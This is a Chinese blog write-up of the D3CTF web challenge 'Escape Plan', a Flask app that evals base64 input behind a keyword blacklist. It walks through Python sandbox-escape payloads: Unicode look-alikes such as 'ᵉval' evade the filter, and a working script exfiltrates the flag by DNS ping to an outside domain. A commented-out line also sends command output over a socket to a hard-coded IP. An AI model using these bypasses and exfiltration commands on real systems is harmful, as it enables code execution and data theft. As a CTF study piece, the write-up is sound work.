您现在的位置是:首页 >技术杂谈 >ctf web复现网站首页技术杂谈

ctf web复现

简介ctf web复现

D3CTF-WEB

Escape Plan

import base64

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def challenge_3():
    cmd = request.form.get("cmd", "")
    if not cmd:
        return """<pre>
import requests, base64
exp = ''
requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text
</pre>
"""

    try:
        cmd = base64.b64decode(cmd).decode()
    except Exception:
        return "bad base64"

    black_char = [
        "'", '"', '.', ',', ' ', '+',
        '__', 'exec', 'eval', 'str', 'import',
        'except', 'if', 'for', 'while', 'pass',
        'with', 'assert', 'break', 'class', 'raise',
        '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
    ]
    for char in black_char:
        if char in cmd:
            return f'failed: `{char}`'

    msg = "success"
    try:
        eval(cmd)
    except Exception:
        msg = "error"

    return msg

他给了app.py的源码,我们分析分析。

  • 定义了一个名为 challenge_3 的函数,可以接收get和post的请求
  • 首先从请求的表单数据中获取名为 "cmd" 的值。如果没有找到 "cmd",则返回一个代码使用 requests 库发送 POST 请求并将 "cmd" 参数编码为 base64。
  • 如果找到了 "cmd",则尝试对其进行 base64 解码。如果解码失败,返回 "bad base64"。
  • 遍历 black_char 列表,检查 "cmd" 是否包含任何不允许的字符,就是黑名单。

Python 沙箱逃逸的通解探索之路 | CN-SEC 中文网

这里面最后一个给了我们一个payload,通过对比发现只用绕过eval,我们可以使用ᵉval来代替eval,我们先本地测试一下

import base64

u = '??????????'
# a = b'''__import__('os').popen('python -c "import socket, os; flag = os.popen(\"whoami\").read().encode();host = \"120.48.123.181\";port=7777;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host, port));s.sendall(flag);s.close();a=1;"').read()'''
a = base64.b64encode(b"__import__('os').popen('whoami').read()").decode()
a += "="
CMD = "eval(vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}()))[len([])]))".format(a)
CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})
base = CMD.replace("eval","ᵉval")
cmd = base64.b64encode(base.encode())

try:
    cmd = base64.b64decode(cmd).decode()
except Exception:
    print("bad base64")
black_char = [
    "'", '"', '.', ',', ' ', '+',
    '__', 'exec', 'eval', 'str', 'import',
    'except', 'if', 'for', 'while', 'pass',
    'with', 'assert', 'break', 'class', 'raise',
    '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
]
for char in black_char:
    if char in cmd:
        print(f'failed: `{char}`')
try:
    print(eval(cmd))
except Exception:
    print("error")

这里我原本尝试了很多种方法,结果发现都是error,到最后发现是python base64模块缘故,导致解析错误,他需要补一个等号才可以,但是尝试其他的方法有不行了

然后看到这里发现又有别的方法Docs,利用数组切片进行截取

import requests
import base64
shell='ping -c 1 `/readflag`.c17fafb7.dns.dnsmap.org'
s=''
for i in shell:
    s+="chr("+str(ord(i))+")+"
print(s[0:-1])
payload = payload = "__import__('os').popen({})".format(s[0:-1])
payload1 = "ᵉxec(repr(request)[(len(black_char[len([])])<<(len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])<<len(black_char[len([])])|len(black_char[len([])]))):len(repr(request))-int(black_char[len(black_char)-len(black_char[len([])])])])"
data = {"cmd": base64.b64encode(payload1.encode('utf-8')).decode('utf-8')}
url='http://47.102.115.18:30634/?'+payload
response=requests.post(url=url,data=data)
print(response.text)

这里我们分析一下这个切片

  • repr(request):返回一个表示 request 对象的字符串。
  • 然后这个request对象是Flask自动传递的,应该就是我们通过get传输进来的值
  • repr(request)[值1:值2] ,这个应该获得上面请求中那一部分可以执行的,最后传入eval中

这里我们本地看一看

他最后获得的应该就是这些,然后进行执行通过ping DNS将flag带出来 

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。